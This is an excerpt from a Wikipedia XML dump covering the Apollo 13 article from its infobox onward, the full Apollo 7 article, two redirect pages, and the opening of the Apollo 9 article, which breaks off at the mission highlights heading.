|'''Call sign:'''||Command module: ''Odyssey''&lt;br /&gt;Lunar module: ''Aquarius''
|-
|'''Number of&lt;br /&gt;crew:'''||3
|-
|'''Launch:'''||[[April 11]], [[1970]]&lt;br /&gt;19:13:00 [[Coordinated Universal Time|UTC]]&lt;br /&gt;[[Kennedy Space Center]]&lt;br /&gt;LC 39A
|-
|'''Lunar flyby:&lt;br /&gt;(Pericynthion)'''||[[April 15]], [[1970]]&lt;br /&gt;00:21:00 UTC&lt;br /&gt;254.3 km from Moon&lt;br /&gt;400,171 km from Earth
|-
|'''Splashdown:'''||[[April 17]], [[1970]]&lt;br /&gt;18:07:41 UTC&lt;br /&gt;21° 38' 24&quot; S - 165° 21' 42&quot; W

|-
|'''Duration:'''||5 d 22 h 54 min 41 s
|-
|'''Mass:'''||CSM 28,945 kg;&lt;br /&gt;LM 15,235 kg
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:GPN-2000-001167.jpg|300px|Apollo 13 crew portrait (L-R: Lovell, Swigert, and Haise)]]&lt;br/&gt;Apollo 13 crew portrait &lt;br/&gt;(L-R: Lovell, Swigert, and Haise)
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Apollo 13 Crew
|}
'''Apollo 13''' was an [[United States|American]] space mission, part of the [[Project Apollo|Apollo program]]. It was intended to be the third mission to land on the [[Moon]], but instead is famous for the critical malfunction it suffered and its difficult but successful return home. 

==Crew==
*[[James A. Lovell]] (flew on ''[[Gemini 7]]'', ''[[Gemini 12]]'', ''[[Apollo 8]]'' &amp; ''Apollo 13''), commander
*[[Jack Swigert]] (flew on ''Apollo 13''), command module pilot
*[[Fred Haise]] (flew on ''Apollo 13''), lunar module pilot
*[[Ken Mattingly]] was originally slated to be command module pilot, but he was removed from the flight three days before launch after being exposed to [[German Measles]].  He later flew as command module pilot on [[Apollo 16]].

===Backup crew===
*[[John W. Young|John Young]], commander
*[[Jack Swigert]], command module pilot
*[[Charles Duke]], lunar module pilot

===Support crew===
*[[Vance Brand]] (flew on [[Apollo-Soyuz]], [[STS-5]], [[STS-41-B]], and [[STS-51]])
*[[Jack Lousma]] (flew on [[Skylab 3]] and [[STS-3]])
*[[William Pogue|Bill Pogue]] (flew on [[Skylab 4]])
*[[Joseph P. Kerwin|Joe Kerwin]] (flew on [[Skylab 2]])

==Mission parameters==
*'''[[Mass]]:''' CM 28,945 kg; LM 15,235 kg
*'''[[Perigee]]:''' 181.5 km
*'''[[Apogee]]:''' 185.6 km
*'''[[Inclination]]:''' 33.5° 
*'''[[Orbital period|Period]]:''' 88.07 min

===Oxygen tank explosion===
*[[April 14]], [[1970]], 03:08:53.555 UTC
** 321,860 km from earth.

===Closest approach to Moon===
*[[April 15]], [[1970]], 00:21:00 UTC
** 254.3 km above far side of Moon; 
** 400,171 km from Earth (possibly a record distance, see below).

===See also===
* [[Splashdown (spacecraft landing)|Splashdown]]
* [[List of artificial objects on the Moon]]

==Quote==
Famous '''mis'''quote: &quot;''Houston, we have a problem''&quot;&lt;br /&gt;
Actual quote: &quot;''Okay, Houston, we've had a problem here''&quot; [http://www.hq.nasa.gov/office/pao/History/Timeline/apollo13chron.html], uttered by Swigert to ground. Lovell then uttered this similar phrase: &quot;''Houston, we've had a problem.''&quot;

==Mission highlights==
The Apollo 13 mission began with a lesser known malfunction which could have been equally catastrophic. During second stage burn the center engine shut down prematurely. Engineers later discovered that this was due to dangerous [[pogo oscillation]]s which might have torn the second stage apart; the engine was experiencing 68g vibrations at 16 hertz, flexing the thrust frame by 3 inches. Luckily the oscillations caused a low pressure reading to register, and the computer shut the engine down automatically. This was later traced to amplification of the pogo that had occurred on previous flights by an unexpected interaction with the cavitation in the turbopumps. Later missions had anti-pogo devices as had already been planned since before Apollo 13 which solved the problem.

When Apollo 13 was 321,860 kilometers (199,990 mi) from Earth, an oxygen tank in the service module exploded. The only solution was for the crew to cancel their planned landing, swing around the Moon and return on a trajectory back to Earth. However, because their command/service module &quot;Odyssey&quot; was severely damaged,  the three astronauts had to use the lunar module &quot;Aquarius&quot; as a crowded lifeboat for the return home. The four-day return trip was cold, uncomfortable, and tense. But Apollo 13 proved the program's ability to weather a major crisis and bring the crew back home safely. 

===Problem=== 
As the [[spacecraft]] was on its way to the Moon, the number two oxygen tank in the [[Service Module]] (SM) exploded when [[Lyndon B. Johnson Space Center|Mission Control]] requested that the crew perform a &quot;cryo stir&quot;, in which the oxygen &quot;slush&quot; is stirred to prevent it from stratifying. Teflon insulation covering damaged electrical wires powering the stirrer motor caught fire when power was applied. The fire caused a pressure increase above the tank's nominal 1,000 lbf/in&amp;sup2; (7 MPa), and the tank exploded. This explosion damaged other parts of the service module, including the number 1 oxygen tank. At the time of the explosion, however, the true cause was not known; one  conjecture was a [[meteoroid]] impact. The loss of both oxygen tanks in the service module and thus the oxygen required to create electrical power for the [[Apollo Command/Service Module|Command/Service Modules]] (CSM) meant that the CSM had to be completely shut down. The [[Command Module]] (CM) contained batteries for use during re-entry, after the Service Module was jettisoned, but these would only last about ten hours, and needed to be saved for re-entry. The crew survived by using the [[Lunar Module]] (LM, still attached to the CM) as a &quot;lifeboat&quot;. 

[[Image:Apollo 13 SM.jpg|thumb|250px|Apollo 13 damaged Service Module (NASA)]]
The damage to the CSM meant that the Moon-landing mission (originally intended to land at the [[Fra Mauro formation|Fra Mauro]] Highlands) had to be aborted; a single pass around the Moon was made and the spacecraft returned to [[Earth]]. Considerable ingenuity under extreme pressure was required from both the crew and the [[flight controller]]s to figure out how to [[jury rig]] the craft for the crew's safe return, with much of the world watching the drama on television. One of the major stumbling blocks in this was that the LM &quot;lifeboat&quot; was equipped to sustain two people for two days, and it would now have to sustain three people for four days. One of the most critical problems was that the [[lithium hydroxide]] [[carbon dioxide]] filters in the LM would not last for all four days, and the CM's spare filters were the wrong shape for the LM's filter receptacle; an adapter had to be fabricated from materials in the spacecraft. 

To accomplish a safe return to Earth, a significant course correction to place the spacecraft on a [[free return trajectory]] was required. This would normally be a simple procedure using the [[service module]] [[Spacecraft propulsion|propulsion]] engine. However, the [[flight controller]]s did not know the extent of the damage the service module had suffered and did not want to risk firing the main engine. Instead, the course correction would have to be performed by firing the lunar module's descent engine. After extensive discussion, engineers on the ground found it was possible. The initial maneuver to change to a free return trajectory was made within hours of the accident.  The descent engine was fired again after passage around the Moon in order to accelerate the spacecraft's return to Earth, and later for a minor course correction.

As re-entry to Earth's atmosphere approached, NASA took the unusual step of jettisoning the Service Module first, while the Lunar Module was still attached to the Command Module.  The LM thrusters were used to maneuver the CM/LM stack to point its windows at the departing SM, and photos were taken.  When the crew saw the damaged service module, they reported that the access panel covering the O&lt;sub&gt;2&lt;/sub&gt; tanks and fuel cells had been blown off. 

There was some fear that the extensive condensation in the CM, due to reduced temperatures during the return leg, might have seriously damaged the electronics of the Command Module, which would become apparent upon activation.  But the equipment worked perfectly when activated, at least partly due to the extensive design modifications made to the CM after the [[Apollo 1]] fire.

[[Image:Apollo13 splashdown.jpg|left|thumb|160px|A successful splashdown (NASA)]]

The crew returned unharmed to Earth, although Haise had a [[urinary tract infection]] resulting from the scarcity of potable water on the damaged ship and the difficulty of disposing of urine, and had to be treated in an infirmary. 

While the crew was unfortunate to have this kind of major malfunction, they were still extremely lucky that it occurred on the first leg of the mission when they had a maximum of supplies, equipment, and power to use in the emergency. If the explosion had occurred while in orbit around the moon, or on the return leg after the LM had been jettisoned, the crew probably would not have survived.

After the completion of the mission, there was a full investigation of the incident and the craft was modified to prevent future occurrences of the fault.

[[Jim Lovell]] and [[Jeffrey Kluger|Jeffrey Kluger's]] book about the mission, ''[[Lost Moon]]'', was later turned into a successful movie, ''[[Apollo 13 (film)|Apollo 13]]'', starring [[Tom Hanks]], [[Bill Paxton]] and [[Kevin Bacon]] as the Apollo crewmen.

===Cause of the accident===
The explosion on Apollo 13 led to a lengthy investigation of the underlying cause.  Thanks to detailed manufacturing records and logs of mission problems, the failure of the faulty oxygen tank was 
tracked to multiple faults that were not problems individually, but nearly led to disaster on this mission.

Liquid gases are very difficult to handle, and most storage containers holding them are unsealed so that pressure from expanding gas will not cause the container to fail (much like freezing water in even the strongest sealed container will shatter it).  Apollo's liquid oxygen tank was a marvel of [[engineering]], able to hold several hundred pounds of highly pressurized liquid gas to supply the craft with oxygen, fuel for [[electricity]] (along with hydrogen) and [[water]] from the by-product of the [[fuel cells]].  Left alone, the tank was capable of safely holding liquid oxygen under high pressure for years before it evaporated because of its design and insulation.  Unfortunately, the very characteristic that made the tank useful made internal inspection impossible.

The tank was made of several basic components that were relevant to the accident:
* A [[thermostat]] to control the heater within the tank that sped the evaporation of the liquid into gaseous oxygen;
* A [[thermometer]] to determine the temperature of the heater;
* Valves and piping that were designed to allow the tank to be completely emptied of liquid by forcing gas into the tank; 
* An interior coating of [[teflon]] that protected the wiring from the extremely cold gas; and
* An internal fan to stir the liquid oxygen (liquid oxygen will turn into a &quot;slush&quot; at these pressures if it is allowed to sit for a long period of time).

These were the basic design, manufacturing and operational problems that led to the accident.
* The thermostat was originally designed to handle the 28 [[volt]] supply that would be used in the command module.  However, the specification for the tank was changed so that it had to handle 65 [[volt]]s on the launch pad.  Most of the wiring was changed to handle the higher voltage, but the thermostat was not.
* The thermometer was designed to read out at the highest operational temperature of the heater, about 100 degrees Fahrenheit.  Higher temperatures registered at 100 °F, but the thermostat was supposed to cut out at 80 °F (27 °C), making higher temperatures impossible.
* During assembly, the structure carrying the tank that failed was dropped about 2 inches (5 cm).  The exterior was undamaged, but the pipes that directed flow within the tank became misaligned. 
* For ground testing the tank was filled.  However, when it came time to empty it, the problem with the piping was discovered.  As such, the tank could not be properly emptied except by running the heater to evaporate the liquid gas. Not using this tank would have delayed the mission and there was no alternative tank available.  Lovell was aware of the decision to use the heater to evaporate the oxygen, which was calculated to take a few days at the highest operational temperature of 80 °F (27 °C).
* However, when the heater was turned on continuously, the higher voltage fused the thermostat, which allowed the heater to keep heating up.  Because the thermometer did not register temperatures higher than 100 degrees Fahrenheit (38 degrees Celsius), the monitoring equipment did not pick this up.  The current recorder in the power supply showed that the heater was not cycling on and off, but no-one noticed it at the time.  Instead of taking several days, the gas evaporated in hours, and the interior of the tank kept heating up, reaching an estimated 800 degrees Fahrenheit (430 °C).  This burned off the teflon coating, leaving the wires inside the tank exposed.
* The rest was inevitable.  When the tank was refilled with oxygen, it became a bomb waiting to go off.  The order to run the &quot;cryo stir&quot; to run the fans set off sparks inside the tank which led to the explosion.
* Disaster might have been averted, had not the oxygen tanks been adjacent. Although the second tank survived the explosion, its valves were damaged which allowed the oxygen within to leak out.  In future Apollo missions, the two oxygen tanks were separately located.

==Mission notes==
*There was no time to properly replace the original [[lunar plaques|lunar plaque]] on ''Aquarius'' (which bore Mattingly's name), so Jim Lovell was given a replacement (with Swigert's name) to place over the original plaque once they landed on the moon.  However, because the lunar landing was never made, Lovell kept the plaque, which is one of the few mementos from the mission that he has on display at his home.

*As a result of following the free return trajectory, the altitude of Apollo 13 over the [[Far side (Moon)|lunar far side]] was approximately 100 km greater than the corresponding orbital altitude on the remaining Apollo lunar missions. This could mean an all-time [[altitude]] record for human spaceflight&amp;mdash;not even superseded [[as of 2006]]&amp;mdash;but this may well not be the case: the variation in distance between Earth and the Moon owing to the [[eccentricity (orbit)|eccentricity]] of the Moon's orbit about Earth is much larger than this 100 km.  The [[Guinness Book of Records]] listed this flight as having the absolute altitude record for a manned spacecraft, and Lovell should have received a certificate from them attesting to this record (Lovell stated in the book ''Lost Moon'' that apart from the plaque and a couple of other pieces of salvage, the only other item he has regarding this mission was a letter from [[Charles Lindbergh]]).

*The splashdown point was {{coor dm|21|38|S|165|22|W|}}, SE of American Samoa and 6.5 km (4 mi) from the recovery ship, [[USS Iwo Jima (LPH-2)|USS ''Iwo Jima'']].

*Superstitious people have associated the [[Triskaidekaphobia|belief that 13 is an unlucky number]] to the mission, especially due to the fact that the mission began at 13:13 [[Central Standard Time Zone|CST]], the problems began on [[April 13]], and the mission is called Apollo 13.

==Insignia==
The Apollo 13 logo featured three flying horses, and the motto ''Ex luna, scientia'' (from the Moon, knowledge), and the number of the mission in Roman numerals.  It is one of two Apollo insignias (the other being ''[[Apollo 11]]'''s) not to include the names of the crew (which was fortunate, considering one of the original crew was replaced not long before the mission began).

==Relics==
The command module is currently displayed at the [[Kansas Cosmosphere and Space Center]], [[Hutchinson, Kansas]]. It was formerly at the [[Musée de l'Air et de l'Espace]], [[Paris]]. The lunar module burned up in Earth's atmosphere [[17 April]], [[1970]], having been targeted to enter over the Pacific Ocean to reduce the possibility of contamination from a [[radioisotope thermoelectric generator]] (RTG) on board (had the mission proceeded as planned, the RTG would have been used to power the [[Apollo Lunar Surface Experiment Package]], and then remained on the Moon). The RTG survived reentry (as designed) and landed in the [[Tonga Trench]]. While it will remain radioactive for approximately 2000 years, it does not appear to be releasing radioactive material.

==Dramatization==
* ''[[Apollo 13 (film)|Apollo 13]]'' - the 1995 [[film]] directed by [[Ron Howard (American director)|Ron Howard]] and starring, as the astronauts, [[Tom Hanks]], [[Bill Paxton]], and [[Kevin Bacon]], with [[Ed Harris]] as [[flight director]] [[Gene Kranz]], [[Kathleen Quinlan]], and [[Gary Sinise]] in supporting roles.  The film was based on ''Lost Moon'', Jim Lovell's book about the incident.
* In the [[1993]] film ''[[Falling Down]]'', [[Michael Douglas]]' character compares himself to the crew of Apollo 13, claiming that he had passed the &quot;point of no return&quot; as they had, thus causing them to circle the moon.

==Games==
* ''[[Apollo 13 Solarquest]]'' was a [[1995]] board game released by Universal Games. It was based on the popular [[1986]] &quot;space-age&quot; [[Monopoly (game)|Monopoly]] variant, [[Solarquest]].
*[[Sega]] produced an Apollo 13 [[pinball]] machine, featuring a 13-ball [[Glossary of pinball terms#M|multiball]].
*[http://www.apollo13game.com/ Apollo 13 - an ITSM case experience] is a simulation game used in [[ITIL]]  training. It's made by Dutch company [http://www.gamingworks.nl GamingWorks BV].

==External links==
* [http://www.astronautix.com/flights/apollo13.htm Apollo 13 entry in Encyclopedia Astronautica] 

===References===
*[http://nssdc.gsfc.nasa.gov/nmc/sc-query.html NASA NSSDC Master Catalog]
*[http://history.nasa.gov/SP-4029/Apollo_00a_Cover.htm APOLLO BY THE NUMBERS: A Statistical Reference by Richard W. Orloff (NASA)]
*[http://www.hq.nasa.gov/office/pao/History/SP-4009/cover.htm The Apollo Spacecraft: A Chronology]
*[http://history.nasa.gov/apsr/apsr.htm Apollo Program Summary Report]
*[http://history.nasa.gov/SP-4012/vol3/table2.41.htm Apollo 13 Characteristics - SP-4012 NASA HISTORICAL DATA BOOK]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19770075651_1977075651.pdf Original Apollo 13 Lunar Exploration and Photography Summary Plan (PDF), February 1970]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19930074343_1993074343.pdf Apollo 13 Spacecraft Incident Investigation, (PDF) NASA June 1970]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19700076776_1970076776.pdf Report of Apollo 13 Review Board, (PDF) NASA June 1970]
*[http://www.jsc.nasa.gov/history/mission_trans/AS13_TEC.PDF Apollo 13 Technical Air-to-Ground Voice Transcription, April 1970, 765 pages (PDF, 20.4 MB)]
*[http://www.spectrum.ieee.org/apr05/2697 Apollo 13, We Have a Solution: Rather than hurried improvisation, saving the crew of Apollo 13 took years of preparation] 
*Lovell, Jim; Kluger, Jeffrey (1994). ''Lost Moon: The Perilous Voyage of Apollo 13''. Houghton Mifflin. ISBN 0395670292.
* [http://www.archive.org/details/HoustonWeveGotAProblem ''NASA film on the Apollo 13 mission downloadable from ''archive.org'' ''The Internet Archive'']
{{commons|Apollo 13}}

{{Project Apollo| before=[[Apollo 12]]| after=[[Apollo 14]]}}

[[Category:1970]]
[[Category:Apollo program]]
[[Category:Human spaceflights]]
[[Category:Lunar spacecraft]]

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  <page>
    <title>Apollo Program</title>
    <id>1771</id>
    <revision>
      <id>15900236</id>
      <timestamp>2004-10-22T01:07:23Z</timestamp>
      <contributor>
        <username>N328KF</username>
        <id>77722</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Project Apollo]]</text>
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  <page>
    <title>Arthritus</title>
    <id>1772</id>
    <revision>
      <id>15900237</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Arthritis]]
</text>
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  <page>
    <title>Apollo 7</title>
    <id>1773</id>
    <revision>
      <id>40359173</id>
      <timestamp>2006-02-20T01:16:41Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=272 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;'''''Apollo 7'''''&lt;/big&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:AP7lucky7.jpg|200px|Apollo 7 insignia]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission statistics
|-
|'''Mission name:'''||Apollo 7
|-
|'''Call sign:'''||Command module:&lt;br /&gt;''Apollo 7''
|-
|'''Number of&lt;br /&gt;Crew:'''||3
|-
|'''Launch:'''||[[October 11]], [[1968]]&lt;br /&gt;15:02:45 [[Coordinated Universal Time|UTC]]&lt;br /&gt;[[Cape Canaveral Air Force Station]]&lt;br /&gt;LC 34
|-
|'''Apogee:'''||297 km
|-
|'''Perigee:'''||231 km
|-
|'''Period:'''||89.78 min
|-
|'''Inclination:'''||31.63
|-
|'''Splashdown:'''||[[October 22]], [[1968]]&lt;br /&gt;11:11:48 UTC&lt;br /&gt;27° 38' N - 64° 09' W
|-
|'''Duration:'''||10 d 20 h 9 min 3 s
|-
|'''Number of&lt;br /&gt;Orbits:'''||163
|-
|'''Mass:'''||CSM 14,781 kg
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew picture
|-
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:GPN-2000-001160.jpg|275px|Apollo 7 crew portrait (L-R: Eisle, Schirra and Cunningham)]]&lt;br&gt;&lt;small&gt;''Apollo 7'' crew portrait &lt;br/&gt;(L-R: Eisle, Schirra and Cunningham)&lt;/small&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Apollo 7 crew
|}

'''Apollo 7''' was the first manned mission in the [[Apollo program]] to be launched. It was an eleven-day earth-orbital mission, the first manned launch of the [[Saturn IB]] launch vehicle, and the first three-man [[United States|American]] space mission. 

==Crew==
*[[Wally Schirra]] (flew on ''[[Mercury 8]]'', ''[[Gemini 6A]]''), commander
*[[Donn Eisele]] (first time in space), command module pilot
*[[Walter Cunningham]] (first time in space), lunar module pilot

This crew was originally the backup crew of the ill-fated [[Apollo 1]].

===Backup Crew===
*[[Tom Stafford]], (flew on ''[[Gemini 6A]]'', ''[[Gemini 9A]]'', ''[[Apollo 10]]'', ''[[Apollo-Soyuz]]''), commander
*[[John_W._Young|John Young]], (flew on ''[[Gemini 3]]'', ''[[Gemini 10]]'', ''[[Apollo 10]]'', ''[[Apollo 16]]'', ''[[STS-1]]'', ''[[STS-9]]''), command module pilot
*[[Eugene Cernan]], (flew on ''[[Gemini 9A]]'', ''[[Apollo 10]]'', ''[[Apollo 17]]''), lunar module pilot

===Support Crew===
*[[Ron Evans]], (flew on ''[[Apollo 17]]'')
*[[Ed Givens]], (never flew in space due to being killed in a car accident)
*[[John Swigert]], (flew on ''[[Apollo 13]]'')
*[[William_Pogue|Bill Pogue]], (flew on ''[[Skylab 4]]'')

==Mission Parameters==
*'''[[Mass]]:''' 14,781 kg
*'''[[Perigee]]:''' 231 km
*'''[[Apogee]]:''' 297 km
*'''[[Inclination]]:''' 31.63° 
*'''[[Orbital period|Period]]:''' 89.78 min

===Rendezvous with spent S-IVB rocket stage===
*[[October 12]], [[1968]], 20:58:28 UTC

Stationkeeping with spent S-IVB rocket stage was performed for 25 minutes.

===See also===
*[[Splashdown]]

==Mission Highlights==
Apollo 7 was a confidence-builder. After the January 1967 [[Apollo 1|Apollo launch pad fire]], the Apollo command module had been extensively redesigned. Schirra, who would be the only astronaut to fly [[Mercury program|Mercury]], [[Gemini program|Gemini]] and Apollo missions, commanded this Earth-orbital shakedown of the command and service modules. Since it was not carrying a [[lunar module]], Apollo 7 could be launched with the [[Saturn IB]] booster rather than the much larger and more powerful [[Saturn V]]. 

The Apollo hardware and all mission operations worked without any significant problems, and the Service Propulsion System (SPS), the all-important engine that would place Apollo in and out of lunar orbit, made eight nearly perfect firings. Even though Apollo's larger cabin was more comfortable than Gemini's, eleven days in orbit took its toll on the astronauts. The food was bad, and all three developed colds. As a result Schirra became irritable with requests from Mission Control and all three began &quot;talking back&quot; to the [[capsule communicator|Capcom]] leading to none of the crew being selected for further missions. But the mission successfully proved the spaceworthiness of the basic Apollo vehicle. 

Goals for the mission included the first live [[television]] broadcast from an American spacecraft ([[Gordon Cooper]] had broadcast slow scan television pictures from [[Mercury 9|Faith 7]] in 1963) and testing the [[lunar module]] docking maneuver. 

First orbit: [[Perigee]] 231 km, [[Apogee]] 297 km, Period 89.78 min, Inclination 31.63 deg. Weight: C/SM 14,781 kg. 

The splashdown point was 27 deg 32 min N, 64 deg 04 min W, 200 nautical miles (370 km) SSW of Bermuda and 13 km (8 mi) north of the recovery ship [[USS Essex (CV-9) | USS Essex]].  

For nearly 30 years the Apollo 7 module was on loan (renewable every two years) to the National Museum of Science and Technology of Canada, in [[Ottawa]], along with the space suit worn by [[Wally Schirra]].  In November 2003 the Smithsonian Institution in Washington D.C. requested them back for display at their new annex at the [[Steven F. Udvar-Hazy Center]].

The Apollo 7 Capsule is currently on display at the Frontiers of Flight Museum located next to Love Field in Dallas Texas.  The spacecraft is on loan from the Smithsonian.

Apollo 7 was the only manned Apollo launch to take place from Cape Canaveral Air Force Station's Launch Complex 34, as all subsequent Apollo (including Apollo-Soyuz) and Skylab missions were launched from [[Launch Complex 39]] at the nearby [[Kennedy Space Center]].    

===Reference===
*[http://nssdc.gsfc.nasa.gov/nmc/sc-query.html NASA NSSDC Master Catalog]
*[http://history.nasa.gov/SP-4029/Apollo_00a_Cover.htm  APOLLO BY THE NUMBERS: A Statistical Reference by Richard W. Orloff (NASA)]

[[Image:Ap7-KSC-68PC-163.jpg|thumb|left|168px|Apollo 7 launch (NASA)]]

[[Image:As7-3-1545.jpg|thumb|left|255px|Apollo 7 SIV-B rocket stage (NASA)]]

[[Image:Apollo_7_Florida.jpg|thumb|left|250px|Apollo 7 view of Florida. (NASA)]]

&lt;br style=&quot;clear: left&quot;/&gt;
{{Project Apollo | before=[[Apollo 6]]| after=[[Apollo 8]]}}

==External links==
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19760072144_1976072144.pdf NASA Apollo 7 Mission Report - Dec. 1, 1968 (PDF format)]
*[http://www.astronautix.com/flights/apollo7.htm Apollo 7 entry in Encyclopedia Astronautica]
*[http://www.hq.nasa.gov/office/pao/History/SP-4009/cover.htm The Apollo Spacecraft: A Chronology]
*[http://history.nasa.gov/apsr/apsr.htm Apollo Program Summary Report]

[[Category:Human spaceflights|Apollo 07]]
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  <page>
    <title>Apollo 9</title>
    <id>1774</id>
    <revision>
      <id>42106021</id>
      <timestamp>2006-03-03T21:39:45Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced.</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''Apollo 9'''&lt;/font&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:Apollo-9-patch.jpg|200px|Apollo 9 insignia]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission statistics
|-
|'''Mission name:'''||Apollo 9
|-
|'''Call sign:'''||Command module:&lt;br /&gt;''Gumdrop''&lt;br /&gt;Lunar module:&lt;br /&gt;''Spider''
|-
|'''Number of&lt;br /&gt;crew:'''||3
|-
|'''Launch:'''||[[March 3]], [[1969]]&lt;br /&gt;16:00:00 [[Coordinated Universal Time|UTC]]&lt;br /&gt;[[Kennedy Space Center]]&lt;br /&gt;LC 39A
|-
|'''EVA length:'''|| 1 h 8 min 1 s
|-
|'''Splashdown:'''||[[March 13]], [[1969]]&lt;br /&gt;17:00:54 UTC&lt;br /&gt;23° 15' N - 67° 56' W

|-
|'''Duration:'''||10 d 1 h 0 min 54 s
|-
|'''Number of&lt;br /&gt;orbits:'''||152
|-
|'''Mass:'''||CSM 26,801 kg;&lt;br /&gt;LM 14,575 kg
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:GPN-2000-001162.jpg|275px|Apollo 9 crew portrait (L-R: McDivitt, Scott and Schweickart)]] &lt;br/&gt;Apollo 9 crew portrait &lt;br/&gt;(L-R: McDivitt, Scott and Schweickart)
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Apollo 9 Crew
|}
'''Apollo 9''' was the third manned mission in the [[Project Apollo|Apollo program]], a ten day earth-orbital mission launched [[3 March]] [[1969]]. It was the second manned flight of the Saturn V launch vehicle and the first manned flight of the [[Apollo Lunar Module]] (LM).

==Crew==

*[[James McDivitt]] (flew on ''[[Gemini 4]]'' &amp; ''Apollo 9''), commander
*[[David Scott]] (flew on ''[[Gemini 8]]'', ''Apollo 9'', &amp; ''[[Apollo 15]]''), command module pilot
*[[Russell Schweickart]] (flew on ''Apollo 9''), lunar module pilot

===Backup crew===
*[[Pete Conrad]] (flew on ''[[Gemini 5]]'', ''[[Gemini 11]]'', ''[[Apollo 12]]'', ''[[Skylab 2]]''), commander
*[[Dick Gordon]] (flew on ''[[Gemini 11]]'', ''[[Apollo 12]]''), command module pilot
*[[Alan Bean]] (flew on ''[[Apollo 12]]'', ''[[Skylab 3]]''), lunar module pilot.

===Support crew===
*[[Fred Haise]] (flew on ''[[Apollo 13]]'')
*[[Jack Lousma]] (flew on ''[[Skylab 3]]'', ''[[STS-3]]'')
*[[Edgar Mitchell|Ed Mitchell]] (flew on ''[[Apollo 14]]'')
*[[Al Worden]] (flew on ''[[Apollo 15]]'')

==Mission parameters==
*'''[[Mass]]:''' CSM 26,801 kg; LM 14,575 kg
*'''[[Perigee]]:''' 189.5 km
*'''[[Apogee]]:''' 192.4 km
*'''[[Inclination]]:''' 32.57° 
*'''[[Orbital period|Period]]:''' 88.64 min

===LM - CSM docking===
*'''Undocked''': [[March 7]], [[1969]] - 12:39:36 UTC
*'''Re-docked''':[[March 7]], [[1969]] - 19:02:26 UTC

===EVA===
* ''Schweickart'' - EVA - LM forward hatch
**'''Start''': [[March 6]], [[1969]], 16:45:00 UTC
**'''End''': [[March 6]], [[1969]], 17:52:00 UTC
**'''Duration''': 1 hour, 07 minutes

* ''Scott'' - EVA - CM side hatch
**'''Start''': [[March 6]], [[1969]], 17:01:00 UTC
**'''End''': [[March 6]], [[1969]], 18:02:00 UTC
**'''Duration''': 1 hour, 01 minute

===See also===
* [[Extra-vehicular activity]]
* [[List of spacewalks]]
* [[Splashdown]]

==Original mission profile==
In October 1967, it was planned that following the first manned orbital flight of the CSM ([[Apollo 7]], also known as the C Mission), the second manned Apollo mission (D Mission) would have a manned CSM launched on a Saturn 1B, and a few days later the Lunar Module launched on a second Saturn 1B to practise the first orbit rendezvous. McDivitt, Scott and Schweickart were given this mission, with [[Frank Borman]], [[Jim Lovell]] and [[William Anders]] being assigned to a later, similar Earth-orbit test (E Mission), this time using the [[Saturn V]] to carry both the CSM and LM. 

However, production problems with the LM meant that the D Mission would not be able to fly until the spring of [[1969]], so NASA officials created another &quot;C-Prime&quot; mission to go inbetween the C and D missions, involving the CSM (with no LM) making the first manned flight to the Moon. This flight became [[Apollo 8]], and was given to Borman, Lovell and Anders. Although he was in the rotation for it, McDivitt claims he was never offered the &quot;C-Prime&quot; mission as he was already experienced with the LM - but if he had been offered it, he probably would have declined, as he wanted to fly the LM. The original E Mission was subsequently scrubbed - Apollo 9 was the only Earth-orbit test of the full Apollo spacecraft, and was launched on a Saturn V instead of two Saturn 1Bs. This had long lasting consequence - when the crew rotation for Apollos 8 and 9 were swapped, their backup crews were also swapped, putting [[Neil Armstrong]] and his crew (who were Borman, Lovell and Anders' backups) in line for the first manned landing mission instead of [[Pete Conrad]] and his crew.

==Mission highlights==
